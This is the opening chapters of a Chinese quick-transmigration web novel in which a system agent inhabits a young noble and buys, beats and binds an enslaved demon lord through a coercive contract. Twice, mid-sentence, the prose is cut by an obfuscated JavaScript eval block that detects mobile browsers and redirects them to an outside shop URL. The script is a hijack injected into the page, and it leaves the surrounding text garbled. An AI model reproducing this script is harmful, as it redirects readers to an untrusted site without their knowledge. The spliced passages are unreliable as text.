《炮灰总被强制宠爱[快穿]》 1. 第 1 章 【滴——】 【006号系统载入中——】 【——载入成功,请问是否开启人格模拟辅助程序。】 “不开启。” 【是。】 【您现在的身份为楚家独子——楚青琅,字怀玉。】 【006号系统,请您在不破坏人设的前提下,完成以下任务剧情点。】 【主要任务:带走折辱反派魔尊—兆歧,支线任务:1.被抓去魔域,2.死于祭坛。】 【剧情仅供参考,任务全部完成即算考核通过。】 【以上,全体系统和主神祝您任务顺利。】 耳边的机械声远去。 006号,也就是楚青琅很明显的感受到了原本虚无的身体变得沉重起来,但是很快,随着系统的彻底载入,那些轻微的不适感也都消散。 楚青琅睁开眼,发现自己正伏在一个实木矮几之上,指间勾着一个倾倒的酒壶。混着浓烈酒香,他湿漉漉的指尖不自觉地弹动了一下。 女子的娇俏笑声和男子的交谈声,铺天盖地的的朝着耳边涌来。 楚青琅在这一刻意识到,他有了肉/体。 脑海中的记忆显示,这个地方为红砂楼,是一处男女寻欢作乐之所,原身之所以过来,是因为在青云上宗挑选弟子之时查出灵根驳杂,在众目睽睽之下遗憾落选,为了躲避他人的目光,原身便纠结了一些酒肉朋友来此,想要一醉解千愁。但是原身酒量又不好,才喝了不到一壶就醉了。 不过既然主系统将他传送到这个时间段,那么就说明他可以在这里将魔尊捡回去。 楚青琅虽然看了完整的剧情,但是剧情毕竟是跟着主角的视角来的,只提了一句主角追随妖魔踪迹来大钦,却发现楚家被妖魔所灭,只有一缕执念残留,给主角发布了救回楚家小公子楚青琅的任务。 主角追查到魔域,却发现小公子已经被魔尊作为祭品杀死于祭台,因此彻底和魔尊结下了仇。 楚青琅,就是这个推动剧情,一个拥有极少戏份的炮灰,不过相对来说,也非常的好扮演。 就在他梳理情况的时候,肩膀突然被人按住晃了下,随后是一道低柔的询问声。 “楚公子?楚公子醒醒,天色已晚,在下为您叫一辆马车过来如何?” 有人接话说:“谢兄,别喊了,楚少爷已经醉得不省人事了,直接叫人去楚家说一下,就在这里休息好了,反正红砂楼有的是房间,还能有人给小公子暖床呢。” 声音落下,便是一阵哄笑声。 同行的人都知楚家管教楚青琅极严,虽然允许他出入此声色场所,但是绝对不允许其过夜。 楚青琅梳理清楚了原身的记忆,抬手将仍然按着肩膀的手拍下,缓缓的坐了起来。 衣衫摩擦的声音极轻微,但是却又在瞬间吸引了所有人的目光。 不知来于何处的光芒,透过穹顶吊起的轻薄红纱将楼里照成一副暧昧难名的色彩,周围影影绰绰的烛光拢着坐在那里的红衣少年,是异样的靡艳绮丽,仿若醉玉颓山,自带三分风流意气,而那黑白分明的双眼望来时,又恍若水波潋滟,格外摄人。 对着倏然安静的众人,楚青琅懒懒一笑,“那可不成,说好了不醉不归,你们可别想把我撇下自己在这里享受。” 众人成列坐于两旁,中间是正在起舞的女子,身姿曼妙,神情却格外端正。在起舞女子后方,乐师捻动琴弦,发出柔柔勾耳乐声。 安静过后,之前接话的人面容重新挂上笑容,一双眼眸闪着异样光彩,“好!哈哈哈就像是楚兄说的那样,大家不醉不归!”他抬手招来小厮,“你去楚府说一下,让他们不用担心楚兄,我们会照看好他的。” 小厮低头应下,小跑出去。 沉寂下来的气氛很快就活跃起来,只是不时有目光朝着坐在那里的楚青琅看去。 他们之前怎么没发现这个小少爷长得这么好看? 中间起舞的女子朝着两边挥舞着水袖,却又在他们抬手够到之时灵敏躲开。 楚青琅坐在矮几后,抬手将倾倒的酒壶扶正后,顺势靠在了案面上,广袖垂落,白皙小臂随着动作露出。 他随手拿起盘中一个饱满的桃子朝着嘴中送去。 一口咬下,桃肉清甜,水分充足。 楚青琅双眼一亮。 他在主神空间时可是从来没有品尝过这种滋味,只有听过那些跟着宿主去往别的世界的系统,讲过人类的食物味道。 一旁有人走来,端着酒杯满脸红彤彤的道:“楚兄,别光吃桃子啊,来,喝酒喝酒。” 楚青琅抬眼看了一下站在面前的人,记忆中还有着那些酒的浓烈滋味,他下意识地皱了下眉,虽然没有真的喝过,但是直觉告诉他,他一定不喜欢那么刺激的滋味。 而且,他又甜又香的桃子还没吃完呢。 但是刚刚已经放话出去了,怎么也不能拒绝吧? 楚青琅有些麻爪,主神空间也没有培训过这个。 就在他犹豫的时候,一直站在旁边的人倒是收回了看着楚青琅的目光,拿起矮几上的酒壶,对着那红光满面的人碰了下杯子,“叶兄来。” 那个人呃了一声,看了一眼支着下颌,专注的坐在那里啃着桃子看舞的楚青琅,又看了一眼面前举止温文有礼的人,心领神会的转移了目标,“哎,好好,还要恭喜谢兄被仙宗看中,一鸣惊人,一鸣惊人啊!” 嗯?楚青琅下意识地看了一眼面前的人。 原身一个落选的怎么还叫了一个选上的人,这不符合原身的性格啊。 姓谢,丞相谢家。 原剧情里面好像是就有一个人叫谢尘缘——是男二。 楚青琅一下子站起来,正巧躲过了一个舞女甩过来的水袖。 他就知道主系统给他传送到这里是有原因的,这不直接搭上剧情人物了嘛。 楚青琅这样想着,手中拿着一个完整的桃子迈过矮几,朝着谢尘缘递去。 “来,谢兄,吃桃子。” 谢尘缘疑惑望去,只见修长白皙的掌心上托着一个饱满粉嫩的桃子,见他不接,还向上抬了一下,而楚家小公子那双黑白分明的眼,正定定地瞧着他,不辨喜怒。 谢尘缘沉默了会儿,最终还是伸出手接过了那快举到他眼前的桃子,“......多谢?” 楚青琅摇头:“不谢不谢,对了,你不是被仙宗看中了吗,怎么没有跟着他们去宗门?” 说完,他又伸手,直接拉着谢尘缘的袖子,想要让他一同坐到原本的位置上。 只是刚迈出两步,楚青琅就觉得腿上一软,整个人朝着前面扑去。他一下子瞪大了眼睛,就当他以为自己要和地面来一个亲密接触之前,一个结实的臂膀就将他捞了回去。 谢尘缘抵住他的肩膀,声音温和,“楚兄,你喝得有点多,如果不想回家的话,我们先出去醒醒酒好吗?” 楚青琅这才意识到这具身体还处于醉酒的状态,胃部翻腾了一下,浓烈的酒气从鼻腔咽喉逸散,他用大拇指按了下眉心,勉强回答:“嗯,好。” 出去逛逛也好,还能找一下那沦落在这里的魔尊。 在两人身后,啃了一半的桃子从案几上滚落在地,又被人捡起。 红砂楼说是楼,不如说是游船,它建在一座极大的船上,前方是一座高高拱起的桥梁,上面挂着一排的灯笼。放眼望去,像它这样的船只极多,正连成一线朝前缓缓行去,将岸的两旁都映出了奢靡光彩。 夜空凉爽,轻薄月光后有星子闪烁。 楚青琅一走出去就深吸了一口气,空气凛冽,瞬间那被酒意冲的混沌的脑袋都清醒了几分。 一直半搂住他的人也察觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773856|145712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他的状态,适时放手并退后了一步。 夜风拂过,站在船头的谢尘缘姿容俊美,笑起来恍若明月入怀。 他看着身侧眼尾面颊都泛着红晕的楚青琅,温和道:“楚兄,我叫的马车很快就到了,楚家已经遣人催了几次了,你就先回去吧,稍后我会去和他们解释的。” 那可不行,他还没有找到魔尊呢,不找到他,任务怎么办? 楚青琅在心中反驳,但是他也知道男二是好意,不愧是在原剧情中被人当作榜样的好人。他已经想起来了,并不是原身叫他过来的,而是那些人撺掇,原身下不来台,不想展露自己嫉恨的心思才勉强同意。 嗯,只能说不愧是炮灰。 楚青琅心中吐槽,面上却是侧过头,瞧着谢尘缘说:“谢兄还没说怎么没去仙宗呢。” 轻薄月光下,谢尘缘看见那一直对他冷面以对的人难得露出笑意,黑眸溶着朦胧月色,眼睫轻眨,带出三分掩饰不住的好奇和水色。 谢尘缘愣了下,避开那视线解释道:“按照往常是应该去的,但是当时仙长好像接到了什么命令,便让我们在此等候,只说几天后便会有人来接。”接着他又安慰道:“楚兄并不需要为此消沉,青云仙宗只是其中一个选择,后面还会有别的宗门过来收弟子的。” 哪怕对于凡人来说宗门都是仙宗,但是在上界,仙宗还是有着三六九等的,而青云仙宗便位于金字塔的顶端,也只有他们在大钦收拢完弟子之后,剩下的宗门才会接着搜刮。 楚青琅当然知道这件事情,他干巴巴地应了一声,左右看了看,为了拖延时间,便指着身前一艘已经过桥的一座游船问道:“那边好像有什么动静?谢兄,你知晓那是什么船吗?” 谢尘缘跟着望去,说:“和红砂楼不同,那是专门接待女客,应该是客人和里面的人起了什么纠纷吧,我好像看见有一人在被......” 但是话音未落,余光中饶有兴趣听着解释的人,便兴冲冲地抬手拽住了他的手臂,于是剩下的话语随着炽热体温传来,被他吞了回去。 谢尘缘下意识地伸手想要拂开那手,却被再次靠近的面庞恍惚了心神。 楚青琅保持着面上的矜贵,话语却掩不住好奇,“谢兄,带我过去。” 如此理所当然的吩咐,身侧的人并没有回应。 楚青琅疑惑望去,只见那带笑的面容温和渐消,平添几分刺骨漠然,这个神情和印象中的“好人”形象完全不符。 就在他准备仔细观察并打开系统面板记录差错时,腰间突然传来一股力道,整个人就朝前飞跃而去,等再次看清面前的景色,楚青琅就发现两人已经来到了拱桥上。 月光下,那张俊美面孔重新恢复温和,此时,还在询问似的看着他。 难道是他眼花了? 楚青琅压下心中的疑惑,指了指不远处的游船上顶。 “我们去那里,看看他们在干嘛。” “好。” * 来到了游船顶,踩着琉璃瓦片,楚青琅松开拽着身旁人的手,兴致勃勃地低头望去,只见船头混乱一片。 提着灯笼的老鸨皱眉怒骂。 “我把你买过来,给你治伤,你还敢给我拒客?!打!给我打死他!” “我呸!要不是有小姐觉得你这双眼睛稀奇,长的还算可以,你以为谁会要你这个红眼睛的妖怪!!” 骂声中,穿着粗褐短打,身材精壮的男人正手持棍棒朝着蜷缩在地上的人打去。 棍棒交错,被打的人浑身满是鲜血,面容模糊不清,只有一双红眸空荡冷漠。 楚青琅忽地想起剧情中描写的一段. 【......魔尊,黑发红眸,性情暴虐,四处收拢有天赋的美人,将其作为炉鼎凌虐......】 找到了,魔尊兆歧,他的任务目标。 2. 第 2 章 “一个半妖...楚兄对他感兴趣?” 两人看了一会儿,谢尘缘上前一步,看着下面的场景语气异样。 楚青琅扭头,有些讶异,“你怎么看出来的?” 谢尘缘说:“看他的眼睛,人妖混血者往往会在外表上显露出与旁人不同的特征。有的人会有角,有的人会有尾巴,而眼睛,则是最容易分辨出来的。他的双眼暗红,里面隐有妖纹浮动,这是他在调动妖气的结果。” 楚青琅露出感兴趣的神色,“人妖混血?我还没有见过呢,不知道养起来怎么样。” 谢尘缘顿了一下道:“楚兄,半妖对于人类都异常警惕,而且如果没有制服手段,不建议你买下他。” 楚青琅语气微不可察地冷淡下来,“这样啊,那他能自己反击吗?” 谢尘缘摇头,“他丹田破损,筋脉俱断,就算是强行忍痛调动妖气,死亡也会比爆发先一步找到他。” 就算他这样说,等楚青琅看过去却发现蜷伏在地的人微微拱起脊背,在众人抬起木棍的空隙间猛地朝着身前一个男人扑去。 钳制着男人的脖颈,兆歧的右手隐带红光,深深插进了男人的心脏。 鲜血坠落,老鸨于瞬间变了脸色,她咬牙道:“你干什么?放开他!你以为你杀了他就能逃出去吗?我告诉你,不可能!” 兆歧却只是冷冷地看着她,他知道,老鸨说得对,他不能在大钦杀人,不然他会被直接扭送至官府。 虽然不知自己怎么一睁眼就来到了这里,但是他还能调动一丝妖力,脚下这处河流连接外面的淮河,那里水况复杂,只要撑到那里,他就有机会彻底逃脱。 就在兆歧准备将人朝前推去遮挡视线,扭身入水时,一个清越的声音突然从头顶传来。 “谢兄,我记得律法好像有明令禁止做酒色营生的买卖人口,逼良为娼吧?这又是在做什么?” 他下意识地抬头望去,只见月光下的游船顶,红衣少年踩着琉璃瓦片,懒散地支着下颌坐在那里,少年面容俊美,红唇微勾,一双黑眸定定地凝视着他。 在众人的视线中,站在少年身后同样冷眼望来的人出声,“是,违犯者,杖一百,缴千金。” 楚青琅拍手作恍然大悟状,“那可怎么办?我们是不是要去告发啊。” 谢尘缘配合他,“是要去。” 老鸨面色铁青,本来他们干的这种事情也是不举不究,更何况他们还交足了保护费,只是这两人能够悄无声息地在上面呆上这么久,想来有一些修为,而且看衣料和行为举止,应当不是平凡人家......心念电转间,老鸨忽地挥了挥手,示意那些汉子将手中的木棍放下,同时语气变得温和起来,“两位何不下来说话?” 楚青琅明白,接下来就是谈条件了。 他抬手拽了拽谢尘缘的衣袖,“谢兄,我喝多了腿软。” 闻言,谢尘缘直接弯腰将他扶起,搂着他的腰肢脚尖一点,便落在了船头空地处,右手旁就是那仍然紧紧望着他们的魔尊。 楚青琅朝他笑了一下。 魔尊愣了片刻,随即垂下了眼皮,切断了视线,但是手中的红光却消失不见。 老鸨看着靠在谢尘缘身旁的红衣少年,心中猜测着两人的关系,嘴上笑道:“这位公子明鉴,这个人并不是我们强行买卖得来,而是这人的家人欠了我们的钱,才将这人卖给我们,刚才他是惹得我们的客人不高兴了,奴家只是教训教训自家人而已。” 楚青琅收回视线,懒懒地打了一个哈欠,没有想要回话的意思。 老鸨便又说:“公子,您看这就是一场误会,想来是扰了您的清净了,这边给您道歉,您留下姓名,稍后奴家亲自携礼登门道歉,您看如何?” 众人的视线都询问似的看来。 只见红衣少年眼睫纤长,白皙面容红晕未消,整个人犹带酒态,他笑着说:“你这老鸨,倒是贿赂起本少爷来了?” 老鸨心中猜想落地,便上前柔柔道:“不敢,只是为了表达奴家的歉意。公子您也知道,我们这些人就是靠人来吃饭的,这个人倒是性子烈得很,只能实施些手段了,毕竟我们也不能做亏本买卖是吧?” 楚青琅“唔”了一声,突然不耐起来,他直接道:“多少钱?” 老鸨状似犹豫,“公子您说的是?” 红衣下滑,白皙修长的手指直直地指着那个沉默的人,楚青琅说:“他,多少钱。” 老鸨说:“公子您看您说的,奴家怎么会找您要钱呢,您能理解我们的难处就可以了,这个人就权当给您的赔礼了。” 楚青琅哼了一声,随即卸下腰间的钱袋,扔了过去,“这是五百两银票。” 老鸨瞬间笑眯了眼,她赶忙接过那钱袋,叫人去取卖身契,对楚青琅躬身道:“这就恭敬不如从命了,这人从此就是少爷您的了。” 两人之间的对话在场的众人听得分明,无人对此有意见,只有被兆歧插进胸膛扣住心脏的男人突然哀声叫了起来。 楚青琅看过去,随即站直身躯,朝着兆歧走去。 谢尘缘伸手握住他的手腕,声音压低,“危险。” 楚青琅“唔”了一声,没有回答,只是挣开他的手,走到了一直沉默地站在那里的兆歧面前。 就算是落到如此狼狈的境地,被人随意买卖,兆歧却没有丝毫慌乱。他神情冷冽,双眼狭长,配上那脸上的血渍和插进旁人胸膛的手,简直让人心中泛寒,隐约间,直觉不断叫嚣着远离。 楚青琅皱眉上下打量了一下,嘟囔道:“真脏。” 兆歧盯着他,粘腻的血液顺着手腕滑落,他硬生生地将那插进男人手中的手掌拔出,无形红光从男人的心脏处飞出,犹如线虫一般落在地上没了踪影。 伴随着男人的痛叫,周围的人都忍不住后退了一步。 楚青琅也被血腥气冲得酒气上涌。 直到彻底拔出,男人扑通一声倒在了地上,楚青琅皱着脸,掏出怀中的绢帕,扔到了兆歧的脸上。 “擦干净自己。” 甜蜜香气扑鼻,兆歧眨了下眼,感受着那绢帕扑脸的柔滑细腻。在那绢帕彻底滑落的时候,他抬手将那其抓住,在掌心攥紧。 老鸨快速走来,将一张纸递过来,“公子您收好,这就是这家伙的卖身契了。” 楚青琅随手接过,并未回头,只是瞧着面前的兆歧道:“跪下。” 声音落下,面前的人却像是没有听见一般。 楚青琅彻底冷了脸,抬脚猛地踹到他的膝盖上。 “咚”的一声,面前的人最终还是跪了下来。 应该是痛极,那张面孔扭曲了一瞬。 周围的人面无表情的望着,司空见惯。 就在他要接着说些什么的时候,面前的人忽地吐出一口血来。 楚青琅蹙眉,魔尊现在这么惨的吗? 谢尘缘的声音于身后传来,“楚兄,楚家人到了。” 就像是他说的那样,不远处传来人的呼喊。 “少爷!少爷!” 楚青琅转身,瞧见谢尘缘才猛然想起他这次来是要和他打好关系的,但是刚刚的行为,应该给这个男二留下了不好的印象。 他看过去,却发现谢尘缘的神情并无变化,平静极了。 察觉到他的视线,谢尘缘又笑了笑,他说:“楚兄,别担心,红砂楼那边我会解释的。” 而岸边站着几个穿着小厮衣服,正一脸急切地望着他的人。 在楚青琅身后,唇边染血的兆歧凝视着他的背影,随后忽地转移视线,和一脸温和笑容的谢尘缘对视,红眸满是沉沉冷意。 刚刚兆歧不是不想逃跑,但是突然有着无形的气场将他硬生生的定在原地,就连伤势,都更加严重起来。 一直在旁边看着的这个人,是修行者。 ...... 灼热,疼痛。 兆岐只感觉灵魂都被人硬生生的拽出,然后被扔进魔窟被妖魔寸寸啃噬。 他模糊记得自己是被人救下了,但是后面就失去了意识,应该是伤势过重,晕了过去。 耳边是令人厌烦的鸟叫,叽叽喳喳的。 很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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兆歧躺在床上,黑发凌乱更衬得一双红眸幽冷,他抬手摸了下脖颈,看着那鲜红的颜色,笑起来,“小少爷,你既然知道我是半妖,那么就应该知道靠我们太近会受到攻击的。” 对于半妖来说,无论是人类还是妖魔,都将其视为耻辱,他们不容于世,一旦瞧见轻则打骂重则直接杀死,因此,他这种警惕心是完全解释得通的。 楚青琅皱了下眉,理直气壮道:“我之前又没有养过半妖,你是什么妖怪?给我记住我的味道,下次再攻击我,哪里碰的就剁哪里。反正一个奴隶,也不需要手脚。” 晃动的烛火映着窗格泼洒在红衣少年的背后,轻描淡写的话从那染着血渍的唇齿间说出,让屋子里的气氛在瞬间冷下来。 兆歧意识到他说的并不是假话,这个少年是真的会这样做。 楚青琅说完,没有再理会还坐在床上被鲜血染红肩膀的人,转身去一旁的桌子上倒茶漱口了。 等到清洌茶香代替那血腥气味,他才又开口说:“既然醒了就自己把药给喝了,还有——” “咔哒”一声,楚青琅放下茶杯转身,看着兆歧忽地又笑了起来,声线拉长,变得柔软甜蜜,“——你没资格叫我少爷,叫我主人。” 兆歧抬眼。 少年的一双眼尾微微上翘,此时正如月牙一般弯起来,极为明媚灿烂。 喜怒不定,乖戾任性,完全不容人忤逆,是一个被宠坏了的孩子。 只是为什么会对一个低贱的半妖这么好? 还亲自喂药。 而且周围的房间装潢虽然素雅,但是也是很奢侈了,他还以为自己会被扔到柴房里。 兆歧对楚青琅的行为感到疑惑。 但是面上,他平静地将那碗浓稠的苦药咽了下去,并没有说凡间的药对他并没有什么大用。 过重的伤势很快就又一次的让他眼前朦胧昏暗起来。 而看他咽下之后,小少爷并没有说什么,只是转身出去。 昏暗窗外传来他吩咐下人的声音。 “看好他,别让他死了。” 3. 第 3 章 “丹生,那个人还是没有吃药,就连饭食也喂不进去。” “对啊,怎么办,少爷把他带回来,要是他死了怎么办?少爷又该发脾气了。” 急切的却尽力压低的声音,随即是一声冷硬的吩咐。 “不会给他绑起来喂吗?这都要我教你们吗?” 那些急切的声音却又响起,“但是那个人伤的太重了,绑起来的话......” 被吵醒的楚青琅抬手揉了揉头,眼前是描金嵌玉的帐顶,软红泛青的帷帐纱帘围绕,他坐起来,酒意彻底褪去,身上一派舒适之感。 昨天放完狠话,他就径直回去睡觉了,毕竟魔尊现在濒死,他真要折磨人的话,还真怕魔尊直接死了。 像是察觉到了他屋子里的动静,外面的说话声戛然而止,随即是轻微的脚步声,帷帐被一只手掀起,一张柔软可亲的面孔露了出来,杏眼闪亮的望着坐在床上的少年。 “少爷,您醒了?!” 楚青琅应了一声,“我带回来的人怎么了?” 丹生将帷幕挂在两边后,又脚步轻快的打开窗户,“已经叫大夫过来看过了,大夫说需要静养,药和吃食已经送过去了,少爷要见他吗?” 帷帐拉起,阳光顺着大开的窗户将地砖照的晃眼,自然弯折的屏风后有侍女排队端着水盆小步走来。 楚青琅靠在床头,微闭双眼,懒洋洋的“嗯”了一声。 轻微的水声后,有人来到了塌前,将他的双手从被子中极为轻柔的拿出,然后用温热的帕子小心翼翼的擦拭着,水渍消去,留下道道凉意,楚青琅听见丹生轻声道:“少爷要收他做奴吗?” 他睁开双眼,垂眸。 丹生靠坐在脚踏上,青衣堆砌于地。 他生的柔软,五官线条都极尽圆润,杏眸中更是随时随地都含着水意,望来时仿佛有着一把钩子,将人的心神勾去。 楚青琅回想起来,这个人好像也是他从楼里救下来的,花了他一百两银子,但是带回来之后他就又失去了兴趣,就让他做了小厮,随身伺候。 现在这个样子,是觉得自己的地位受到威胁了? 楚青琅抬手,捏了一把丹生的面颊,笑了下。 他这张脸,不笑时极为明媚矜贵,一旦笑起来,那被锦绣堆起来的疏离便荡然无存,浮现出几分少年的恶劣,那微翘的唇边甚至还有尖牙露出。 不过这恶劣,却只像是猫咪挠人的爪子,只惹人愈发喜爱。 楚青琅凉凉道:“我想做什么,要和你报备吗?” 丹生原本出神的面容瞬间变得苍白,他连忙后退,深深跪伏下去。 “奴错了。” 楚青琅自顾自的下床,越过跪在地上的人伸开双臂,任由侍女为他穿衣洗漱。 阳光正正好落在丹生的脊背上,带来一阵暖意,但是他的心中却满是惶恐。 随后侍女将屏风收起,房门敞开,整个屋子瞬间亮堂起来。 楚青琅坐在软塌上,漫不经心的翻着手中的话本道:“将人带过来,还有今天在屋里用早膳。” 声音落下,丹生如蒙大赦的挪动双膝。 “是,少爷。” * 楚青琅边等人来边思索着后面完成任务的方式。 按照他从别的系统那里学习到的经验,侮辱一个强者,最好的办法就是折断他的傲骨,摧毁他的自尊,让他只能依附于人。 但是程度也要把握好,毕竟后面还有一个连环任务,那就是在被抓到魔域后,面对实力恢复的魔尊不被他直接砍死。 楚青琅微微眯了眯眼,心中有了底,就在他兴致勃勃的准备接下来的台词时,丹生却突然神情恼怒的小跑了过来,“少爷,那个人,那个人打伤了小厮,把抬他的人都赶出去了,我们顾忌着他的伤,没有办法给他拉出来。” 此时,软榻前已经支起了桌子,侍女正一道一道地上着色香味俱全的菜肴。 楚青琅的视线在那菜上流连了一瞬,合上话本起身后,看着恭敬地站在门口的丹生道:“我去看看。” 走了两步之后,他突然停下脚步对着一旁的侍女说:“装一些饭菜来。” 侍女屈膝道:“是,少爷。” 为了任务,楚青琅特意将人安置到了距离自己很近的房间,原本是想要直接把人撂到柴房的,但是顾及着魔尊身上的伤势,就还是改了主意。 穿过小径环廊,走进一座门扉大开的院落,出现在眼前的是面上染血的小厮,再走几步,可以看见房间门窗紧闭,有被掀翻的汤药在青石阶梯上留下鲜明的脏污痕迹。 “喀拉——” 鞋底碾过地上的碎片,来到房门前,楚青琅抬手制止了丹生想要上前开门的动作。 修长白皙的手按上门环,将其缓缓推开。 昏暗的屋子里,一双红瞳悄然亮起。 伴随着轻微的脚步声,红眸晃动,最后隐匿在柜子和墙壁的缝隙中。 楚青琅走进屋子,径直朝着床铺的方向走去,昨天他看了魔尊的伤口了,那些伤足以让一个身强体壮的人痛不欲生,更何况是打人摔碗了,这个魔尊还真的是非常有活力。 但是等他走到床边时,才发现床铺上面空空荡荡的,楚清琅微微蹙眉,随即感觉到不对,他骤然扭身,发现一个人影带着沉腻的血腥气,已经悄无声息的来到了身后。 “!” 猛地和那双红眸对视,楚青琅心脏一窒,但是还没等他叫出声,整个人就被双手反扣压倒在了床上,后颈也被灼热的手指紧紧束缚,悚然感顺着脊背蔓延。 又冷又沉的声音在耳边传来,“你到底有什么目的?” 什么? 楚青琅的脸侧被压在柔软的床上,鼻尖是浓郁的血腥气,他咬牙出声:“放开我!什么目的?你管我什么目的!是我把你买回来,是我给你治伤,你就是这么恩将仇报的?” 仿佛被说动了,后颈的力道松了松,身后的人接着说:“无论你有什么目的,让我离开,我不会杀你。” 这么好说话? 楚青琅眨了下眼,他的声音突然软了下来,“你先放开我,我胳膊好痛,还有,哪有提条件这样提的?” 从上朝下望去,只见那纤长的眼睫颤动着,唇微抿,一向清越的声音变得闷闷的,尾音发颤,仿佛被他粗暴的举动弄得害怕极了,兆歧视线滞了滞,还是放开了手。 刚刚他探查过了,这个少年手无缚鸡之力,并不是修行者,只是个单纯的被娇养长大的富家子弟,就算是有什么,他也能制住他。 兆歧缓缓起身,却骤然感觉到一股力道从腰腹传来,伤口剧痛,使得他一下子失去了平衡,踉跄几步后倒在了地上。 楚青琅放下腿,站起身,慢条斯理地整理了一下衣衫,看着那张面带惊诧的面孔,他狡黠一笑,高声道:“来人!” “少爷!” 一直站在外面的丹生还有小厮纷纷走来。 楚青琅指着倒在地上的人说:“把他给我捆起来,还有,去取生死契来。” 既然魔尊还有如此活力,就不要怪他心狠手辣了。 ...... “你应该知道这个是什么吧?” 楚青琅蹲在被五花大绑的男人面前,拿着泛着金光的纸在他的面前晃着,他笑得开心,尖牙露出抵住红唇,形成一个小窝。 此时,门窗大开,阳光照射进来于地上拉出刺眼光芒,丹生提着饭盒恭敬地站在一旁。 兆歧只是冷着一张脸,眼皮下垂,忽地,他的嘴角溢出一丝血迹。 楚青琅伸手在他的肩膀上点了点,“挣扎什么?这是捆仙绳,据说就算是仙人都挣脱不掉,更何况,是你这个人妖混血的,杂种。” 最后两字他说的极轻,但是却清晰地落入到了男人的耳间。 男人猛地抬眼,一双红眸满是刺骨寒意。 楚青琅从未见过这么冷的视线,仿佛一柄剑刃直指他的眉心,带来极度的危险感,他瞳孔紧缩,一下子收回了手,但是很快他就反应过来,抬手给了男人一巴掌。 “以后不许这样子看我!” 男人被打得脸一偏,黑发散落,但是那红眸却是一如既往的冷漠,没有回应。 楚青琅掐住男人的脸颊,威胁道:“你不过是一个低贱的半妖,在这大钦,我想对你做什么就做什么!你就算逃了,也会被官府扭送回来,最好给我乖乖听话,听清楚没有?” 空气在这一瞬间沉默,良久。 就在楚青琅的另一只手蠢蠢欲动时,面前的人突然有了反应。 “呵。”男人低笑了一声,抬头,那张英俊的面孔舒展开来,让人有一瞬间的恍惚,他前倾身子,靠近楚青琅轻声道:“少爷要我做什么呢?” 楚青琅看着那双仿若漩涡一般的红瞳,只觉得脑袋混沌起来,很快,他的眼眸深 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生死契,亦叫奴隶契约,被契约者死契约者并不会死,但是契约者受伤或者死亡,被契约者不仅会承担痛苦还会跟着死。 是极为苛刻的条件。 一旦签订,便不是生死之仇,也成了生死之仇了。 兆歧冷冷的看着面前的少年,心中不祥的预感渐渐成真,但是他现在身受重伤,刚刚的力气也只是积攒许久,现在的他,没有丝毫反抗的余地。 而且,他只记得自己正在魔域旁的水惨境中修炼,谁知一睁眼就满身鲜血的被人从河里捞了起来,而且身体的骨龄还凭空长大了十几岁,他简直怀疑这里就是一个针对他的幻境。 虽说他的仇人很多,但是能够将他伤到这种地步的寥寥无几,青云仙宗的太虚真人算一个,不过太虚真人常年不下妙宸山,剩下的只有魔域的魔尊了...... “不愿意吗?” 温热的触感从脸侧传来,兆歧回过神就瞧见那少年凑到他的面前,密密眼睫含着黑白分明的眸子,里面分明是孩子般的得意和疑惑。 那白皙的指尖轻柔的拂过细碎的伤口,绵密的刺痛对于他来说不值得一提,但是心脏却仿佛落进面前的人的手中,带来阵阵窒息的感觉。 楚青琅戳了戳面前一直沉默的人,有些怀疑他被打击到了。 “兆歧。” 就在楚青琅思考的时候,兆歧终于开口,出乎意料的是,他竟然同意了。 泛着金光立在两人面前的纸张,随着话音落下,凭空浮现出了两个大字——兆岐。 楚青琅看着契约成立,下意识的调出任务面板,上面的第一项任务已经完成了10%。 楚青琅看着面前脸色惨白的人道:“你叫兆岐?” 兆岐因为内伤口中鲜血不断,他说:“怀疑什么?契约已经成立了。” “你唔——” 楚青琅刚想张口,面前的人却突然暴起,将他扑在了地上,黑发散落完全将视野遮蔽,伴随着灼热的呼吸喷洒,脖颈旁传来一阵刺痛,他下意识地抬手抵挡,却只摸到坚实紧绷的肌肉。 “少爷!你干什么?” 事情发生的过于突然,几个呼吸后,丹生才猛地扔下饭菜,将兆岐拉开,随后跪在地上将楚青琅扶起。 楚青琅捂着脖颈,指间传来粘腻之感,他低头看去,愕然发现一片鲜红,但是奇怪的是,除了刚开始的那阵痛意,后面的他并没有感觉到任何痛感。 他抬起头,只见被推倒在地的兆岐额头渗出汗珠,双眼紧闭,整个人仿佛忍受着极大的疼痛。 楚青琅挥开扶他的丹生,上前扒开兆岐的衣领。 惨白的肌肤上赫然一个鲜明的牙印,力道极狠,简直要将那一块肉都咬下来。 根据契约,他身上的疼痛,会转移到兆岐的身上,这也代表着契约彻底的成立。 楚青琅看着那张已经失去意识的脸,皱眉将指尖的血液在兆岐的衣领旁擦净。 真麻烦。 凡间的药物又治不好魔尊的伤,但是楚青琅又不能让他死掉,不然剧情怎么办? “......叫大夫,取仙露,把他给我治好了。” 丹生闻言,面上是遮掩不住的惊愕,“少爷,仙露是老爷夫人为了你……” 楚青琅淡淡的瞥了他一眼,丹生咬牙将后面的话吞了回去,转身离开了此地。 4. 第 4 章 之所以丹生会这样说,是因为在原身出生之时难产,还有一只鸟儿飞来,直直撞死在了窗户上。 随后便有一游方道士到来,做了预言,他二十岁有一大劫,渡过去便此生无忧,若是渡不过去,就是身死魂消。 原本楚父并不是迷信的人,但是当时天色昏暗,楚母已经在里面惨叫了几个时辰,鲜血一盆一盆地端出,他心乱了,便死马当成活马医,向游方道士求解法。 游方道士便给了他一份生死契还有一瓶仙露,说拿着这些上了青云仙宗,便可解决此劫难。 